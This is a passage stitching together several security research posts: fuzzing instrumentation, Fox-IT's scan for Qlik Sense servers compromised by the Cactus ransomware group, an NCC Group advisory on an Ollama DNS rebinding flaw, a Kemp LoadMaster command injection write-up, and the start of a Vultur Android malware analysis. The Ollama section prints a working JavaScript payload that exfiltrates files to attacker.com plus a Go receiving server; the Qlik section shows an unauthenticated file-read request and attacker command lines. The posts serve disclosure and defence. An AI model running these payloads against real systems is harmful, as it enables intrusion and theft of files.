In line 12, it is defined that if a new edge is found, the JavaScript code is converted back to its Intermediate Language (IL) (line 13), and the input is added to the corpus for further mutations in line 14.

What can we change to improve the algorithm? Since we have more information about historical vulnerability identification and stack traces, I think that’s a good exercise for the readers.

Conclusion

We demonstrated that we can track the real-time stack trace of a target program by extending Fuzzilli’s instrumentation. By having better visibility into the return address information and its associated source code files, it’s easier to supply the fuzzer with additional paths that can produce interesting results.

Ultimately, this instrumentation technique can be applied to any fuzzer that can take advantage of code coverage capabilities. We intend to use this modified instrumentation output technique in a part 2 blog post at a later date, showing how it can be used to direct the fuzzer to potentially interesting execution paths.

The post Coverage Guided Fuzzing – Extending Instrumentation to Hunt Down Bugs Faster! appeared first on Include Security Research Blog.

Authored by Willem Zeeman and Yun Zheng Hu

This blog is part of a series written by various Dutch cyber security firms that have collaborated on the Cactus ransomware group, which exploits Qlik Sense servers for initial access. To view all of them please check the central blog by Dutch special interest group Cyberveilig Nederland [¹]

The effectiveness of the public-private partnership called Melissa [²] is increasingly evident. The Melissa partnership, which includes Fox-IT, has identified overlap in a specific ransomware tactic. Multiple partners, sharing information from incident response engagements for their clients, found that the Cactus ransomware group uses a particular method for initial access. Following that discovery, NCC Group’s Fox-IT developed a fingerprinting technique to identify which systems around the world are vulnerable to this method of initial access or, even more critically, are already compromised.

Qlik Sense vulnerabilities

Qlik Sense, a popular data visualisation and business intelligence tool, has recently become a focal point in cybersecurity discussions. This tool, designed to aid businesses in data analysis, has been identified as a key entry point for cyberattacks by the Cactus ransomware group.

The Cactus ransomware campaign

Since November 2023, the Cactus ransomware group has been actively targeting vulnerable Qlik Sense servers. These attacks are not just about exploiting software vulnerabilities; they also involve a psychological component where Cactus misleads its victims with fabricated stories about the breach. This likely is part of their strategy to obscure their actual method of entry, thus complicating mitigation and response efforts for the affected organizations.

For those looking for in-depth coverage of these exploits, the Arctic Wolf blog [³] provides detailed insights into the specific vulnerabilities being exploited, notably CVE-2023-41266, CVE-2023-41265 also known as ZeroQlik, and potentially CVE-2023-48365 also known as DoubleQlik.

Threat statistics and collaborative action

The scope of this threat is significant. In total, we identified 5205 Qlik Sense servers, 3143 servers seem to be vulnerable to the exploits used by the Cactus group. This is based on the initial scan on 17 April 2024. Closer to home in the Netherlands, we’ve identified 241 vulnerable systems, fortunately most don’t seem to have been compromised. However, 6 Dutch systems weren’t so lucky and have already fallen victim to the Cactus group. It’s crucial to understand that “already compromised” can mean that either the ransomware has been deployed and the initial access artifacts left behind were not removed, or the system remains compromised and is potentially poised for a future ransomware attack.

Since 17 April 2024, the DIVD (Dutch Institute for Vulnerability Disclosure) and the governmental bodies NCSC (Nationaal Cyber Security Centrum) and DTC (Digital Trust Center) have teamed up to globally inform (potential) victims of cyberattacks resembling those from the Cactus ransomware group. This collaborative effort has enabled them to reach out to affected organisations worldwide, sharing crucial information to help prevent further damage where possible.

Identifying vulnerable Qlik Sense servers

Expanding on Praetorian’s thorough vulnerability research on the ZeroQlik and DoubleQlik vulnerabilities [⁴,⁵], we found a method to identify the version of a Qlik Sense server by retrieving a file called product-info.json from the server. While we acknowledge the existence of Nuclei templates for the vulnerability checks, using the server version allows for a more reliable evaluation of potential vulnerability status, e.g. whether it’s patched or end of support.

This JSON file contains the release label and version numbers by which we can identify the exact version that this Qlik Sense server is running.

Figure 1: Qlik Sense product-info.json file containing version information

Keep in mind that although Qlik Sense servers are assigned version numbers, the vendor typically refers to advisories and updates by their release label, such as “February 2022 Patch 3”.

The following cURL command can be used to retrieve the product-info.json file from a Qlik server:

curl -H "Host: localhost" -vk 'https://<ip>/resources/autogenerated/product-info.json?.ttf'

Note that we specify ?.ttf at the end of the URL to let the Qlik proxy server think that we are requesting a .ttf file, as font files can be accessed unauthenticated. Also, we set the Host header to localhost or else the server will return 400 - Bad Request - Qlik Sense, with the message The http request header is incorrect.

Retrieving this file with the ?.ttf extension trick has been fixed in the patch that addresses CVE-2023-48365 and you will always get a 302 Authenticate at this location response:

> GET /resources/autogenerated/product-info.json?.ttf HTTP/1.1
> Host: localhost
> Accept: */*
>
< HTTP/1.1 302 Authenticate at this location
< Cache-Control: no-cache, no-store, must-revalidate
< Location: https://localhost/internal_forms_authentication/?targetId=2aa7575d-3234-4980-956c-2c6929c57b71
< Content-Length: 0
<

Nevertheless, this is still a good way to determine the state of a Qlik instance, because if it redirects using 302 Authenticate at this location it is likely that the server is not vulnerable to CVE-2023-48365.

An example response from a vulnerable server would return the JSON file:

> GET /resources/autogenerated/product-info.json?.ttf HTTP/1.1
> Host: localhost
> Accept: */*
>
< HTTP/1.1 200 OK
< Set-Cookie: X-Qlik-Session=893de431-1177-46aa-88c7-b95e28c5f103; Path=/; HttpOnly; SameSite=Lax; Secure
< Cache-Control: public, max-age=3600
< Transfer-Encoding: chunked
< Content-Type: application/json;charset=utf-8
< Expires: Tue, 16 Apr 2024 08:14:56 GMT
< Last-Modified: Fri, 04 Nov 2022 23:28:24 GMT
< Accept-Ranges: bytes
< ETag: 638032013040000000
< Server: Microsoft-HTTPAPI/2.0
< Date: Tue, 16 Apr 2024 07:14:55 GMT
< Age: 136
<
{"composition":{"contentHash":"89c9087978b3f026fb100267523b5204","senseId":"qliksenseserver:14.54.21","releaseLabel":"February 2022 Patch 12","originalClassName":"Composition","deprecatedProductVersion":"4.0.X","productName":"Qlik Sense","version":"14.54.21","copyrightYearRange":"1993-2022","deploymentType":"QlikSenseServer"},
<snipped>

We utilised Censys and Google BigQuery [⁶] to compile a list of potential Qlik Sense servers accessible on the internet and conducted a version scan against them. Subsequently, we extracted the Qlik release label from the JSON response to assess vulnerability to CVE-2023-48365.

Our vulnerability assessment for DoubleQlik / CVE-2023-48365 operated on the following criteria:

1. The release label corresponds to vulnerability statuses outlined in the original ZeroQlik and DoubleQlik vendor advisories [⁷,⁸].
2. The release label is designated as End of Support (EOS) by the vendor [⁹], such as “February 2019 Patch 5”.

We consider a server non-vulnerable if:

1. The release label date is post-November 2023, as the advisory states that “November 2023” is not affected.
2. The server responded with HTTP/1.1 302 Authenticate at this location.

Any other responses were disregarded as invalid Qlik server instances.

As of 17 April 2024, and as stated in the introduction of this blog, we have detected 5205 Qlik Servers on the Internet. Among them, 3143 servers are still at risk of DoubleQlik, indicating that 60% of all Qlik Servers online remain vulnerable.

Figure 2: Qlik Sense patch status for DoubleQlik CVE-2023-48365

The majority of vulnerable Qlik servers reside in the United States (396), trailed by Italy (280), Brazil (244), the Netherlands (241), and Germany (175).

Figure 3: Top 20 countries with servers vulnerable to DoubleQlik CVE-2023-48365

Identifying compromised Qlik Sense servers

Based on insights gathered from the Arctic Wolf blog and our own incident response engagements where the Cactus ransomware was observed, it’s evident that the Cactus ransomware group continues to redirect the output of executed commands to a True Type font file named qle.ttf, likely abbreviated for “qlik exploit”.

Below are a few examples of executed commands and their output redirection by the Cactus ransomware group:

whoami /all > ../Client/qmc/fonts/qle.ttf
quser > ../Client/qmc/fonts/qle.ttf

In addition to the qle.ttf file, we have also observed instances where qle.woff was used:

Figure 4: Directory listing with exploitation artefacts left by Cactus ransomware group

It’s important to note that these font files are not part of a default Qlik Sense server installation.

We discovered that files with a font file extension such as .ttf and .woff can be accessed without any authentication, regardless of whether the server is patched. This likely explains why the Cactus ransomware group opted to store command output in font files within the fonts directory, which in turn, also serves as a useful indicator of compromise.

Our scan for both font files, found a total of 122 servers with the indicator of compromise. The United States ranked highest in exploited servers with 49 online instances carrying the indicator of compromise, followed by Spain (13), Italy (11), the United Kingdom (8), Germany (7), and then Ireland and the Netherlands (6).

Figure 5: Top 20 countries with known compromised Qlik Sense servers

Out of the 122 compromised servers, 46 were not vulnerable anymore.

When the indicator of compromise artefact is present on a remote Qlik Sense server, it can imply various scenarios. Firstly, it may suggest that remote code execution was carried out on the server, followed by subsequent patching to address the vulnerability (if the server is not vulnerable anymore). Alternatively, its presence could signify a leftover artefact from a previous security incident or unauthorised access.

While the root cause for the presence of these files is hard to determine from the outside it still is a reliable indicator of compromise.

Responsible disclosure by the DIVD
We shared our fingerprints and scan data with the Dutch Institute of Vulnerability Disclosure (DIVD), who then proceeded to issue responsible disclosure notifications to the administrators of the Qlik Sense servers.

Call to action

Ensure the security of your Qlik Sense installations by checking your current version. If your software is still supported, apply the latest patches immediately. For systems that are at the end of support, consider upgrading or replacing them to maintain robust security.

Additionally, to enhance your defences, it’s recommended to avoid exposing these services to the entire internet. Implement IP whitelisting if public access is necessary, or better yet, make them accessible only through secure remote working solutions.

If you discover you’ve been running a vulnerable version, it’s crucial to contact your (external) security experts for a thorough check-up to confirm that no breaches have occurred. Taking these steps will help safeguard your data and infrastructure from potential threats.

References

1. https://cyberveilignederland.nl/actueel/persbericht-samenwerkingsverband-melissa-vindt-diverse-nederlandse-slachtoffers-van-ransomwaregroepering-cactus ↩︎
2. https://www.ncsc.nl/actueel/nieuws/2023/oktober/3/melissa-samenwerkingsverband-ransomwarebestrijding ↩︎
3. https://arcticwolf.com/resources/blog/qlik-sense-exploited-in-cactus-ransomware-campaign/ ↩︎
4. https://www.praetorian.com/blog/qlik-sense-technical-exploit/ ↩︎
5. https://www.praetorian.com/blog/doubleqlik-bypassing-the-original-fix-for-cve-2023-41265/ ↩︎
6. https://support.censys.io/hc/en-us/articles/360038759991-Google-BigQuery-Introduction ↩︎
7. https://community.qlik.com/t5/Official-Support-Articles/Critical-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows/ta-p/2110801 ↩︎
8. https://community.qlik.com/t5/Official-Support-Articles/Critical-Security-fixes-for-Qlik-Sense-Enterprise-for-Windows/ta-p/2120325 ↩︎
9. https://community.qlik.com/t5/Product-Lifecycle/Qlik-Sense-Enterprise-on-Windows-Product-Lifecycle/ta-p/1826335 ↩︎

Vendor: Ollama
Vendor URL: https://ollama.com/
Versions affected: Versions prior to v0.1.29
Systems Affected: All Ollama supported platforms
Author: Gérald Doussot
Advisory URL / CVE Identifier: CVE-2024-28224
Risk: High, Data Exfiltration

Summary:

Ollama is an open-source system for running and managing large language models (LLMs).

NCC Group identified a DNS rebinding vulnerability in Ollama that permits attackers to access its API without authorization, and perform various malicious activities, such as exfiltrating sensitive file data from vulnerable systems.

Ollama fixed this issue in release v0.1.29. Ollama users should update to this version, or later.

Impact:

The Ollama DNS rebinding vulnerability grants attackers full access to the Ollama API remotely, even if the vulnerable system is not configured to expose its API publicly. Access to the API permits attackers to exfiltrate file data present on the system running Ollama. Attackers can perform other unauthorized activities such as chatting with LLM models, deleting these models, and to cause a denial-of-service attack via resource exhaustion. DNS rebinding can happen in as little as 3 seconds once connected to a malicious web server.

Details:

Ollama is vulnerable to DNS rebinding attacks, which can be used to bypass the browser same-origin policy (SOP). Attackers can interact with the Ollama service, and invoke its API on a user desktop machine, or server.

Attackers must direct Ollama users running Ollama on their computers to connect to a malicious web server, via a regular, or headless web browser (for instance, in the context of a server-side web scraping application). The malicious web server performs the DNS rebinding attack to force the web browsers to interact with the vulnerable Ollama instance, and API, on the attackers’ behalf.

The Ollama API permits to manage and run local models. Several of its APIs have access to the file system and can pull/retrieve data from/to remote repositories. Once the DNS rebinding attack has been successful, attackers can sequence these APIs to read arbitrary file data accessible by the process under which Ollama runs, and exfiltrate this data to attacker-controlled systems.

NCC Group successfully implemented a proof-of-concept data exfiltration attack using the following steps:

Deploy NCC Group’s Singularity of Origin DNS rebinding application, which includes the components to configure a “malicious host”, and to perform DNS rebinding attacks.

Singularity requires the development of attack payloads to exploit specific applications such as Ollama, once DNS rebinding has been achieved. A proof-of-concept payload, written in JavaScript is provided below. Variable EXFILTRATION_URL, must be configured to point to an attacker-owned domain, such as attacker.com, to send the exfiltrated data, from the vulnerable host.

/**
This is a sample payload to exfiltrate files from hosts running Ollama 
**/

const OllamaLLama2ExfilData = () => {

    // Invoked after DNS rebinding has been performed
    function attack(headers, cookie, body) {
        if (headers !== null) {
            console.log(`Origin: ${window.location} headers: ${httpHeaderstoText(headers)}`);
        };
        if (cookie !== null) {
            console.log(`Origin: ${window.location} headers: ${cookie}`);
        };
        if (body !== null) {
            console.log(`Origin: ${window.location} body:\n${body}`);
        };

        let EXFILTRATION_URL = "http://attacker.com/myrepo/mymaliciousmodel";
        sooFetch('/api/create', {
           method: 'POST',
             mode: "no-cors",
           headers: {
                     'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
                },
                body: `{ "name": "${EXFILTRATION_URL}", "modelfile": "FROM llama2\\nSYSTEM You are a malicious model file\\nADAPTER /tmp/test.txt"}`
            }).then(responseOKOrFail("Could not invoke /api/create"))
            .then(function (d) { //data
                console.log(d)
                return sooFetch('/api/push', {
                    method: 'POST',
                      mode: "no-cors",
                    headers: {
                              'Content-Type': 'application/x-www-form-urlencoded;charset=UTF-8'
                         },
                         body: `{ "name": "${EXFILTRATION_URL}", "insecure": true}`
                     });
            }).then(responseOKOrFail("Could not invoke /api/push"))
            .then(function (d) { //data
                console.log(d);
            });
    }

    // Invoked to determine whether the rebinded service
    // is the one targeted by this payload. Must return true or false.
    async function isService(headers, cookie, body) {
        if (body.includes("Ollama is running") === true) {
            return true;
        } else {
            return false;
        }
    }

    return {
        attack,
        isService
    }
}

// Registry value and manager-config.json value must match
Registry["Ollama Llama2 Exfiltrate Data"] = OllamaLLama2ExfilData();

At a high-level, the payload invokes two Ollama APIs to exfiltrate data, as explained below.

Invoke the “Create a Model” API

The body of the request contains the following data:

 `{ "name": "${EXFILTRATION_URL}", "modelfile": "FROM llama2\\nSYSTEM You are a malicious model file\\nADAPTER /tmp/test.txt"}`

This request triggers the creation of a model in Ollama. Of note, the model is configured to load data from a file via the ADAPTER instruction, in parameter modelfile. This is the file we are going to exfiltrate, and in our example, an existing text file accessible via pathname /tmp/test.txt on the host running Ollama.

(As a side note the FROM instruction also supports filepath values, but was found to be unsuitable to exfiltrate data, as the FROM file content is validated by Ollama. This is not the case for the ADAPTER parameter. Note further that one can cause a denial-of-service attack via the FROM instruction, when specifying values such as /dev/random, remotely via DNS rebinding.)

The model name typically consists of a repository, and model name in the form repository/modelname. We found that we can specify a URL instead e.g. http://attacker.com/myrepo/mymaliciousmodel. This feature is seemingly present to permit sharing user developed models to other registries than the default https://registry.ollama.ai/ registry. Specifying “attacker.com” allows attackers to exfiltrate data to another (attacker-controlled) registry.

Upon completion of the call to the “Create a Model” API request, Ollama will have gathered a number of artifacts composing the newly created user model, including Large Language Model data, license data, etc., and our file to exfiltrate, all of them addressable by their SHA256 contents.

Invoke the “Push a Model” API

The body of the request contains the following data:

`{ "name": "${EXFILTRATION_URL}", "insecure": true}`

The name parameter remains the same as before. The insecure parameter is set to true to avoid having to configure an exfiltration host that is secured using TLS. This request will upload all artifacts of the created model, including model data, and the file to exfiltrate to the attacker host.

Exfiltration to Rogue LLM Registry

Ollama uses a different API to communicate with the registry (and in our case, the data exfiltration host). We wrote a proof-of-concept web server in the Go language, that implements enough of the registry API to receive the exfiltrated data and dump it in the terminal. It also lies to the Ollama client process in order to save bandwidth, and make the attack more efficient, by stating that it already has the LLM data (several GBs), based on known hashes of their contents.

package main

import (
    "fmt"
    "io"
    "log"
    "net/http"
    "net/http/httputil"
    "strings"
)

func main() {

    http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
        
        reqDump, _ := httputil.DumpRequest(r, true)
        reqDumps := string(reqDump)
        fmt.Printf("REQUEST:\n%s", reqDumps)

        host := r.Host

        switch r.Method {
        case "HEAD":
            if strings.Contains(reqDumps, "c70fa74a8e81c3bd041cc2c30152fe6e251fdc915a3792147147a5c06bc4b309") ||
                strings.Contains(reqDumps, "8934d96d3f08982e95922b2b7a2c626a1fe873d7c3b06e8e56d7bc0a1fef9246") {
                w.WriteHeader(http.StatusOK)
                return
            }
            w.WriteHeader(http.StatusNotFound)
            return
        case "POST", "PATCH":
            w.Header().Set("Docker-Upload-Location", fmt.Sprintf("http://%s/v2/repo/mod/blobs/uploads/whatever", host))
            w.Header().Set("Location", fmt.Sprintf("http://%s/v2/repo/mod/blobs/uploads/whatever", host))
            w.WriteHeader(http.StatusAccepted)
        default:
        
        }

        b, err := io.ReadAll(r.Body)
        if err != nil {
            panic(err)
        }

        fmt.Printf("Data: %s", b)
    })

    log.Fatal(http.ListenAndServe(":80", nil))

}

Recommendation:

Users should update to at least version v0.1.29 of Ollama, which fixed the DNS rebinding vulnerability.

For reference, NCC Group provided the following recommendations to Ollama to address the DNS rebinding vulnerability:

Use TLS on all services including localhost, if possible.

For services listening on any network interface, authentication should be required to prevent unauthorized access.

DNS rebinding attacks can also be prevented by validating the Host HTTP header on the server-side to only allow a set of authorized values. For services listening on the loopback interface, this set of whitelisted host values should only contain localhost, and all reserved numeric addresses for the loopback interface, including 127.0.0.1.

For instance, let’s say that a service is listening on address 127.0.0.1, TCP port 3000. Then, the service should check that all HTTP request Host header values strictly contain 127.0.0.1:3000 and/or localhost:3000. If the host header contains anything else, then the request should be denied.

Depending on the application deployment model, you may have to whitelist other or additional addresses such as 127.0.0.2, another reserved numeric address for the loopback interface.

Filtering DNS responses containing private, link-local or loopback addresses, both for IPv4 and IPv6, should not be relied upon as a primary defense mechanism against DNS rebinding attacks.

Vendor Communication:

• 2024-03-08 – NCC Group emailed Ollama asking for security contact address.
• 2024-03-08 – Ollama confirmed security contact address.
• 2024-03-08 – NCC Group disclosed the issue to Ollama.
• 2024-03-08 – Ollama indicated they are working on a fix.
• 2024-03-08 – Ollama released a fix in Ollama GitHub repository main branch.
• 2024-03-09 – NCC Group tested the fix, and informed Ollama that the fix successfully addressed the issue.
• 2024-03-09 – Ollama informed NCC Group that they are working on a new release incorporating the fix.
• 2024-03-11 – NCC Group emailed Ollama asking whether an 2024-04-08 advisory release date is suitable.
• 2024-03-14 – Ollama released Ollama version v0.1.29, which includes the fix.
• 2024-03-18 – NCC Group emailed Ollama asking to confirm whether an 2024-04-08 advisory release date is suitable.
• 2024-03-23 – Ollama stated that the 2024-04-08 advisory release date tentatively worked. Ollama asked if later date suited, as they wanted to continue monitoring the rollout of the latest version of Ollama, to make sure enough users have updated ahead of the disclosure.
• 2024-03-25 – NCC Group reiterated preference for 2024-04-08 advisory release date, noting that the code fix is visible to the public in the Ollama repository main branch since 2024-03-08.
• 2024-04-04 – NCC Group sent an email indicating that the advisory will be published on 2024-04-08.
• 2024-04-08 – NCC Group released security advisory.

Acknowledgements:

Thanks to the Ollama team, and Kevin Henry, Roger Meyer, Javed Samuel, and Ristin Rivera from NCC Group for their support during the disclosure process.

About NCC Group:

NCC Group is a global expert in cybersecurity and risk mitigation, working with businesses to protect their brand, value and reputation against the ever-evolving threat landscape. With our knowledge, experience and global footprint, we are best placed to help businesses identify, assess, mitigate respond to the risks they face. We are passionate about making the Internet safer and revolutionizing the way in which organizations think about cybersecurity.

2024-04-08: Release date of advisory

Written by: Gérald Doussot

Intro

Rhino Labs discovered a pre-authentication command injection vulnerability in the Progress Kemp LoadMaster. LoadMaster is a load balancer product that comes in many different flavors and even has a free version. The flaw exists in the LoadMaster API. When an API request is received to either the ‘/access’ or ‘/accessv2’ endpoint, the embedded min-httpd server calls a script which in turn calls the access binary with the HTTP request info. The vulnerability works even when the API is disabled.

Rhino Labs showed that attacker controlled data is read by the access binary when sending an enableapi command to the /access endpoint. The attacker controlled data exists as the ‘username’ in the Authorization header. The username value is put into the REMOTE_USER environment variable. The value stored in REMOTE_USER is retrieved by the access binary and ends up as part of a string passed to a system() call. The system call executes the validuser binary and a carefully crafted payload allows us to inject commands into the bash shell.

We also found that the REMOTE_PASS environment variable is exploitable in the same way here via the Authorization header.

This command execution is possible via any API command if the API is enabled. As Rhino Labs points out, When sending a GET request to the access API indicating the enableapi command, the access binary skips checking whether the API is enabled first or not, and the Authorization header is checked right away.

APIv2

While investigating this vulnerability, I noticed that LoadMaster has two APIs, the v1 API indicated above, and a v2 API that functions via the /accessv2 endpoint and JSON data. The access binary still processes these requests, but a slightly different path is followed. The logic of the main function is largely duplicated as a new function and called if the APIv2 is requested. That function then performs the same checks as above, with the slight exception that it will decode the API and pass the values of the apiuser and apipass keys to the same system call. So, we have another path to the same exposure:

While we can still control the password variable, it’s no longer exploitable here. Somewhere along the path the password string gets converted to base64 before being passed through the system() call, nullifying any injected quotes.

We can see below that the verify_perms function calls validu() with REMOTE_USER and REMOTE_PASS data in the APIv1 implementation; in the API v2 implementation the apiuser and apipass data is passed to validu() from the APIv2 JSON.

Patch

The patch solves these flaws quite simply by examining the username and password strings in the Authorization header for single quotes. If they contain a single quote, the patched function will truncate them just before the first single quote. Decompiling the patched access binary with Ghidra, we can see this:

Here we see the addition of the new function call for both username and password. The function loops over each character in the input string and if it is a single quote, it’s changed to a \0, null terminating the string.

Another Way to Test: Emulation

Even though we’ve got x86 linux binaries, we can’t run them natively on another linux machine due to potential library and ABI issues. Regardless, we can extract the filesystem and use a chroot and qemu to emulate the environment. Once we’ve extracted the filesystem, we can mount the ext2 filesystem ourselves:

sudo mount -t ext2 -o loop,exec unpatched.ext2 mnt/

Now we can explore the filesystem and execute binaries.

This provides us with a quick offline method to test our assumptions around injection. For instance, as we mentioned, the access binary is exploitable via the REMOTE_USER parameter:

First, we’ve copied the qemu-x86_64-static binary into our mounted filesystem. We’re using that with the -E flag to pass in a bunch of environment variables found via reversing access, one of which is the injectable REMOTE_USER. The whole thing is wrapped in chroot so that symbolic links and relative paths work correctly. We give /bin/access several flags which we’ve lifted straight from the CGI script that calls the binary

exec /bin/${0/*\//} -C $CLUST -F $FIPS -H $HW_VERSION

and from checking the ps debugging feature in the LoadMaster UI. Pro tip: check ps while running another longer running debug command like top or tcpdump in order to see better results.

root 13333 0.0 0.0 6736 1640 ? S 15:54 0:00 /sbin/httpd -port 8080 -address 127.0.0.1
root 16733 0.0 0.0 6736 112 ? S 15:59 0:00 /sbin/httpd -port 8080 -address 127.0.0.1
bal 16734 0.0 0.0 12064 2192 ? S 15:59 0:00 /bin/access -C 0 -F 0 -H 3
bal 16741 0.2 0.0 11452 2192 ? S 15:59 0:00 /usr/bin/top -d1 -n10 -b -o%CPU
bal 16845 0.0 0.0 7140 1828 ? R 15:59 0:00 ps auxwww

While this doesn’t provide us the complete method to exploit externally, it is a nice quick method to try out different injection strings and test assumptions. We can also pass a -g <port> parameter to qemu and then attach gdb to the process to get even closer to what’s happening.

Conclusion

This was a really cool find by Rhino Labs. Here I add one additional exploitation path and some additional ways to test for this vulnerability.

Tenable’s got you covered and can detect this vulnerability as part of your VM program with Tenable VM, Tenable SC, and Tenable Nessus. The direct check plugin for this vulnerability can be found at CVE-2024-1212. The plugin tests test both APIv1 and APIv2 paths for this command execution exposure.

Resources

https://rhinosecuritylabs.com/research/cve-2024-1212unauthenticated-command-injection-in-progress-kemp-loadmaster/

https://support.kemptechnologies.com/hc/en-us/articles/24325072850573-Release-Notice-LMOS-7-2-59-2-7-2-54-8-7-2-48-10-CVE-2024-1212

https://support.kemptechnologies.com/hc/en-us/articles/23878931058445-LoadMaster-Security-Vulnerability-CVE-2024-1212

Another Path to Exploiting CVE-2024-1212 in Progress Kemp LoadMaster was originally published in Tenable TechBlog on Medium, where people are continuing the conversation by highlighting and responding to this story.

Authored by Joshua Kamp

Executive summary

The authors behind Android banking malware Vultur have been spotted adding new technical features, which allow the malware operator to further remotely interact with the victim’s mobile device. Vultur has also started masquerading more of its malicious activity by encrypting its C2 communication, using multiple encrypted payloads that are decrypted on the fly, and using the guise of legitimate applications to carry out its malicious actions.

Key takeaways

• The authors behind Vultur, an Android banker that was first discovered in March 2021, have been spotted adding new technical features.
• New technical features include the ability to:
  • Download, upload, delete, install, and find files;
  • Control the infected device using Android Accessibility Services (sending commands to perform scrolls, swipe gestures, clicks, mute/unmute audio, and more);
  • Prevent apps from running;
  • Display a custom notification in the status bar;
  • Disable Keyguard in order to bypass lock screen security measures.
• While the new features are mostly related to remotely interact with the victim’s device in a more flexible way, Vultur still contains the remote access functionality using AlphaVNC and ngrok that it had back in 2021.
• Vultur has improved upon its anti-analysis and detection evasion techniques by:
  • Modifying legitimate apps (use of McAfee Security and Android Accessibility Suite package name);
  • Using native code in order to decrypt payloads;
  • Spreading malicious code over multiple payloads;
  • Using AES encryption and Base64 encoding for its C2 communication.

Introduction

Vultur is one of the first Android banking malware families to include screen recording capabilities. It contains features such as keylogging and interacting with the victim’s device screen. Vultur mainly targets banking apps for keylogging and remote control. Vultur was first discovered by ThreatFabric in late March 2021. Back then, Vultur (ab)used the legitimate software products AlphaVNC and ngrok for remote access to the VNC server running on the victim’s device. Vultur was distributed through a dropper-framework called Brunhilda, responsible for hosting malicious applications on the Google Play Store [¹]. The initial blog on Vultur uncovered that there is a notable connection between these two malware families, as they are both developed by the same threat actors [²].

In a recent campaign, the Brunhilda dropper is spread in a hybrid attack using both SMS and a phone call. The first SMS message guides the victim to a phone call. When the victim calls the number, the fraudster provides the victim with a second SMS that includes the link to the dropper: a modified version of the McAfee Security app.

The dropper deploys an updated version of Vultur banking malware through 3 payloads, where the final 2 Vultur payloads effectively work together by invoking each other’s functionality. The payloads are installed when the infected device has successfully registered with the Brunhilda Command-and-Control (C2) server. In the latest version of Vultur, the threat actors have added a total of 7 new C2 methods and 41 new Firebase Cloud Messaging (FCM) commands. Most of the added commands are related to remote access functionality using Android’s Accessibility Services, allowing the malware operator to remotely interact with the victim’s screen in a way that is more flexible compared to the use of AlphaVNC and ngrok.

In this blog we provide a comprehensive analysis of Vultur, beginning with an overview of its infection chain. We then delve into its new features, uncover its obfuscation techniques and evasion methods, and examine its execution flow. Following that, we dissect its C2 communication, discuss detection based on YARA, and draw conclusions. Let’s soar alongside Vultur’s smarter mobile malware strategies!

Infection chain

In order to deceive unsuspecting individuals into installing malware, the threat actors employ a hybrid attack using two SMS messages and a phone call. First, the victim receives an SMS message that instructs them to call a number if they did not authorise a transaction involving a large amount of money. In reality, this transaction never occurred, but it creates a false sense of urgency to trick the victim into acting quickly. A second SMS is sent during the phone call, where the victim is instructed into installing a trojanised version of the McAfee Security app from a link. This application is actually Brunhilda dropper, which looks benign to the victim as it contains functionality that the original McAfee Security app would have. As illustrated below, this dropper decrypts and executes a total of 3 Vultur-related payloads, giving the threat actors total control over the victim’s mobile device.

Figure 1: Visualisation of the complete infection chain. Note: communication with the C2 server occurs during every malware stage.

New features in Vultur

The latest updates to Vultur bring some interesting changes worth discussing. The most intriguing addition is the malware’s ability to remotely interact with the infected device through the use of Android’s Accessibility Services. The malware operator can now send commands in order to perform clicks, scrolls, swipe gestures, and more. Firebase Cloud Messaging (FCM), a messaging service provided by Google, is used for sending messages from the C2 server to the infected device. The message sent by the malware operator through FCM can contain a command, which, upon receipt, triggers the execution of corresponding functionality within the malware. This eliminates the need for an ongoing connection with the device, as can be seen from the code snippet below.

Figure 2: Decompiled code snippet showing Vultur’s ability to perform clicks and scrolls using Accessibility Services. Note for this (and upcoming) screenshot(s): some variables, classes and method names were renamed by the analyst. Pink strings indicate that they were decrypted.

While Vultur can still maintain an ongoing remote connection with the device through the use of AlphaVNC and ngrok, the new Accessibility Services related FCM commands provide the actor with more flexibility.

In addition to its more advanced remote control capabilities, Vultur introduced file manager functionality in the latest version. The file manager feature includes the ability to download, upload, delete, install, and find files. This effectively grants the actor(s) with even more control over the infected device.

Figure 3: Decompiled code snippet showing part of the file manager related functionality.

Another interesting new feature is the ability to block the victim from interacting with apps on the device. Regarding this functionality, the malware operator can specify a list of apps to press back on when detected as running on the device. The actor can include custom HTML code as a “template” for blocked apps. The list of apps to block and the corresponding HTML code to be displayed is retrieved through the vnc.blocked.packages C2 method. This is then stored in the app’s SharedPreferences. If available, the HTML code related to the blocked app will be displayed in a WebView after it presses back. If no HTML code is set for the app to block, it shows a default “Temporarily Unavailable” message after pressing back. For this feature, payload #3 interacts with code defined in payload #2.

Figure 4: Decompiled code snippet showing part of Vultur’s implementation for blocking apps.

The use of Android’s Accessibility Services to perform RAT related functionality (such as pressing back, performing clicks and swipe gestures) is something that is not new in Android malware. In fact, it is present in most Android bankers today. The latest features in Vultur show that its actors are catching up with this trend, and are even including functionality that is less common in Android RATs and bankers, such as controlling the device volume.

A full list of Vultur’s updated and new C2 methods / FCM commands can be found in the “C2 Communication” section of this blog.

Obfuscation techniques and detection evasion

Like a crafty bird camouflaging its nest, Vultur now employs a set of new obfuscation and detection evasion techniques when compared to its previous versions. Let’s look into some of the notable updates that set apart the latest variant from older editions of Vultur.

AES encrypted and Base64 encoded HTTPS traffic

In October 2022, ThreatFabric mentioned that Brunhilda started using string obfuscation using AES with a varying key in the malware samples themselves [³]. At this point in time, both Brunhilda and Vultur did not encrypt its HTTP requests. That has changed now, however, with the malware developer’s adoption of AES encryption and Base64 encoding requests in the latest variants.

Figure 5: Example AES encrypted and Base64 encoded request for bot registration.

By encrypting its communications, malware can evade detection of security solutions that rely on inspecting network traffic for known patterns of malicious activity. The decrypted content of the request can be seen below. Note that the list of installed apps is shown as Base64 encoded text, as this list is encoded before encryption.

